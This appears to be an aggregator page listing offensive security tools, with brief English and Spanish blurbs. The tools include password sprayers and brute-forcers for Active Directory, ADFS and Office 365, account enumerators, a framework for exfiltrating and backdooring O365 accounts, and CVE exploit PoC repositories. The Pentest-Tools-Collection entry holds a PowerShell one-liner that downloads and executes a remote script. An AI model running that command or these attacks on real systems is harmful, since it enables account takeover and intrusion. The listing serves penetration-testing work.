adfsbrute

adfsbrute A script to test credentials against Active Directory Federation Services ADFS, calculating the ADFS url of an organization and allowing password spraying or bruteforce attacks. The main idea is carrying out password spraying attacks with a random and high delay between each test and...

TeamFiltration

TeamFiltration TeamFiltration is a cross-platform framework for enumerating, spraying, exfiltrating, and backdooring O365 EntraID accounts. See the TeamFiltration wiki page for an introduction into how TeamFiltration works and the Quick Start Guide for how to get up and running! This tool has bee...

Spray

Spray A Password Spraying tool for Active Directory Credentials by Jacob WilkinGreenwolf Getting Started These instructions will show you the requirements for and how to use Spray. Prerequisites All requirements come preinstalled on Kali Linux, to run on other flavors or Mac just make sure curlow...

RDWAtool

A python all-in-one tool to extract information, spray and bruteforce passwords on a Microsoft Remote Desktop Web Access RDWA application. This python tool allows to extract various information from a Microsoft Remote Desktop Web Access RDWA application, such as the FQDN of the remote server, the...

MSOLSpray

MSOLSpray A password spraying tool for Microsoft Online accounts Azure/O365. The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled. BE VERY CAREFUL NOT TO LOCKOUT...

CrackQL

CrackQL CrackQL is a GraphQL password brute-force and fuzzing utility. CrackQL is a versatile GraphQL penetration testing tool that exploits poor rate-limit and cost analysis controls to brute-force credentials and fuzz operations. Table of Contents How it works Attack Use Cases Defense Evasion...

Pentest-Tools-Collection

Pentest-Tools-Collection Active Directory AMSI https://amsi.fail/ Tool Collections WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack...

Oh365UserFinder

Oh365 User Finder v1.1.2 Oh365UserFinder is used for identifying valid o365 accounts and domains without the risk of account lockouts. The tool parses responses to identify the "IfExistsResult" flag is null or not, and responds appropriately if the user is valid. The tool will attempt to identify...

TREVORspray

TREVORspray 2.0 TREVORspray es un rociador de contraseñas modular con hilos, proxy SSH, módulos de botín y más. Por @thetechr0mancer Instalación: root@kitploit: pip install git+https://github.com/blacklanternsecurity/trevorproxy pip install git+https://github.com/blacklanternsecurity/trevorspray...

o365spray

o365spray o365spray is a username enumeration and password spraying tool aimed at Microsoft Office 365 O365. This tool reimplements a collection of enumeration and spray techniques researched and identified by those mentioned in Acknowledgments. For educational, authorized and/or research purpose...

SharpSpray

SharpSpray This project is a C port of my PowerSpray.ps1 script. SharpSpray a simple code set to perform a password spraying attack against all users of a domain using LDAP and is compatible with Cobalt Strike. https://github.com/jnqpblc/Misc-PowerShell/blob/master/PowerSpray.ps1 By default it wi...

automato

automato.rb automato utiliza bibliotecas LDAP nativas para automatizar la recolección y enumeración de varios objetos de directorio. Esto es increíblemente útil durante una prueba de penetración interna. automato también puede realizar ataques de pulverización de contraseñas e identificar si un...

cve-2012-1889

heapspray Cómo realizar un heap spraying preciso demo demostración práctica...

CVE-2025-30397---Windows-Server-2025-JScript-RCE-Use-After-Free-

CVE-2025-30397---Windows-Server-2025-JScript-RCE-Use-After-Free Ejecución remota de código mediante Use-After-Free en JScript.dll CVE-2025-30397 🧠 Descripción Este repositorio contiene un exploit de prueba de concepto PoC para una vulnerabilidad de Use-After-Free en el motor JScript jscript.dll q...

spraykatz

Spraykatz Esparce amor por el mundo Índice...

CVE-2022-37332-RCE-

Foxit nday : ACTUALMENTE EN TRABAJO... TODO LO QUE NECESITO IMPLEMENTAR ES JIT SPRAYING ..... también probado en Versión: 9.0.1.1049 así que sí, no sé : disfruta...

vortex

🚩 This is the public repository of vortex, for latest version and updates please consider supporting us through https://porchetta.industries/ Vortex VPN Overall Reconnaissance, Testing, Enumeration and Exploitation Toolkit 🚩 Sponsors If you want to sponsors this project and have the latest update...

Invoke-CleverSpray

Invoke-CleverSpray Password Spraying Script detecting current and previous passwords of Active Directory User by @flelievre Options: -Password: Password to spray. -PasswordFile: Path to file containing a list of passwords to spray. -Username: samAccountName of the user to target. -UsernamesFile:...

SharpHose

Overview SharpHose is a C password spraying tool designed to be fast, safe, and usable over Cobalt Strike's execute-assembly. It provides a flexible way to interact with Active Directory using domain-joined and non-joined contexts, while also being able to target specific domains and domain...

ActiveReign

ActiveReign ⚠️ Thank you for your support. This project is no longer publicly maintained. Background A while back I was challenged to write a discovery tool with Python3 that could automate the process of finding sensitive information on network file shares. After writing the entire tool with...